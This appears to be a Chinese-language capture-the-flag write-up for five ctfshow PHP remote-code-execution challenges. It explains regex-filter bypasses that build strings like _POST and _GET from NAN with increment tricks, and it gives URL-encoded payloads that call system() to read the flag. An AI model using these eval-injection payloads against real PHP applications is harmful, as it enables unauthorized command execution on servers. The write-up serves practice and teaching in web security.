ctfshow RCE极限挑战
# RCE挑战1
提示
php里可以使用反引号执行命令,比如`ls`;
过滤(
,.
,相当于过滤了函数执行和文件名
可以直接echo 把反引号的结果打印出来
echo `cat /f*`;
也可以反引号执行命令,把结果写到文件里,再下载
`cat /f* > 1`;
# RCE挑战2
正则过滤了很多字符
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}
2
3
ASCII码总共包括128个字符,范围是从0到127。扩展ASCII(通常称为“ANSI”或“ISO 8859-1”)则包含256个字符,范围是从0到255。这些字符包括控制字符、数字、字母和一些特殊符号
通过脚本爆破还有哪些字符可以使用
<?php
for($a = 0; $a < 256; $a++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($a))){
echo chr($a)." ";
}
}
# $ ' ( ) + , . / ; = [ ] _
?>
2
3
4
5
6
7
8
构造出字母
提示
(/) 表达式中的 _ 是 PHP 中的有效变量名,但在这个上下文中它被视为未定义变量。
当未定义变量用于数学运算时,PHP会将其视为0。因此,/ 实际上会被计算为 0/0,这是一个无效操作,结果是 NAN(Not A Number)所以可以得到字符NAN
。(''/'')等效果相同,得到字符NAN
.
通过判断的布尔值0
,1
构造数字,拿出NAN
字符串里的字母
例如''==_
,布尔值为0
,那么$____=((_/_).'')[''=='$'];
可以拿出N
构造$_POST[_]
,$_POST[__]
,动态调用函数RCE
师傅们写好的POST
构造
$____=((_/_).'')[''=='$']; #N
$_____=++$____; #O
++$____; #P
$______=$____; #$______=P
++$____; #Q
++$____; #R
++$____; #S
$_______=$____; #$_______=S
++$____; #T
$________=$____; #$________=T
$_________=$______.$_____.$_______.$________; #POST
$_________='_'.$_________; #_POST
$$_________[_]($$_________[__]); #$_POST[_]($_POST[__];)
2
3
4
5
6
7
8
9
10
11
12
13
所以payload是下面这个,里面有$
,=
还需要url编码一下
$____=((_/_).'')[''=='$'];$_____=++$____; ++$____;$______=$____; ++$____;++$____;++$____; $_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='_'.$_________;$$_________[_]($$_________[__]);
这里执行命令的payload
ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&_=system&__=cat /f*;
因为0/0
得到NAN
字符串,所以GET
应该也挺好构造,尝试一下$_GET[_]
,$_GET[__]
我的构造过程
<?php
# 三个下划线定义N,四个定义A,五个定义E,六个定义G,七个定义T,八个定义_GET。当然你可以选择变量覆盖
$___=((''/'').'')[''==_];# $___ = N
$____=((''/'').'')[''==''];# $____ = A
# 拿A 构造E
++$____;
++$____;
++$____;
$_____=++$____;
var_dump($_____); # $_____ = E
# 继续拿G
++$____;
++$____;
$______ = $____;
var_dump($______); # $______ = G
# 拿N 构造 T
++$___;++$___;++$___;++$___;++$___;
$_______=++$___;
var_dump($_______);# $______ = T
# 拼接拿_GET
$________='_'.$______.$_____.$_______;
var_dump($________); # _GET
# 用_GET动调函数
$$________[_]($$________[__]);
var_dump($$________[_]($$________[__]));
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
简洁版
<?php
$___=((''/'').'')[''==_];# $___ = N
$____=((''/'').'')[''==''];# $____ = A
++$____;
++$____;
++$____;
$_____=++$____; # $_____ = E
++$____;
++$____;
$______ = $____; # $______ = G
++$___;++$___;++$___;++$___;++$___;
$_______=++$___; # $______ = T#
$________='_'.$______.$_____.$_______;
$$________[_]($$________[__]); # $_GET[_]($_GET[__])
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
所以payload是下面这个,里面有$
,=
还需要url编码一下
$___=((''/'').'')[''==_];$____=((''/'').'')[''==''];++$____;++$____;++$____;$_____=++$____;++$____;++$____;$______ = $____;++$___;++$___;++$___;++$___;++$___;$_______=++$___;$________='_'.$______.$_____.$_______;$$________[_]($$________[__]);
post发包,get传参命令执行url?_=system&__=cat /f*
ctf_show=%24___%3D((''%2F'').'')%5B''%3D%3D_%5D%3B%24____%3D((''%2F'').'')%5B''%3D%3D''%5D%3B%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24_____%3D%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24______%20%3D%20%24____%3B%2B%2B%24___%3B%2B%2B%24___%3B%2B%2B%24___%3B%2B%2B%24___%3B%2B%2B%24___%3B%24_______%3D%2B%2B%24___%3B%24________%3D'_'.%24______.%24_____.%24_______%3B%24%24________%5B_%5D(%24%24________%5B__%5D)%3B
# RCE挑战3
放出了0
,1
,限制了payload的长度,缩短一下上面的构造
$_=((_/_)._)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);
2
3
4
5
6
7
8
payload
ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B1%5D)%3B&_=system&1=cat /f*
# RCE挑战4
把1过滤掉了,限制长度84
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}
2
3
把上题的1改成0构造
$_=((_/_).$_)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);
2
3
4
5
6
7
8
payload
ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=cat /f*
# RCE挑战5
过滤了0,限制长度73
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}
2
3
原来取下标不需要通过''==_
的布尔值01来取N
,A
,可以用未定义常量,php会返回Warning
,取0下标元素出来
<?php
$_ = ((_/_)._)[_];
# Warning: Illegal string offset '_'
# string(1) "N"
var_dump($_);
2
3
4
5
题目调用的phpinfo()
函数里可以看到安装并开启了gettext
扩展,这个扩展可以用_()
来调用gettext
函数,转化成字符串
$_=_(_/_)[_]; //相当于gettext(0/0)[0],得到N
可以用不可见字符来减少长度,比如用$%FA ,73位预期解
<?php
$_=_(_/_)[_];//相当于gettext(0/0)[0],得到N
$_=++$_;//O
$%FA=_.++$_.$_;//_PO
$_++;$_++;//R
$%FA.=++$_.++$_;//_POST
$$_[_]($$_[%FA]);//$_POST[a]($_POST[_])
2
3
4
5
6
7
62位非预期
<?PHP
$_=_(%FA.%FA)[_];//N //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
2
3
4
payload,用bp发包
ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /f*
参考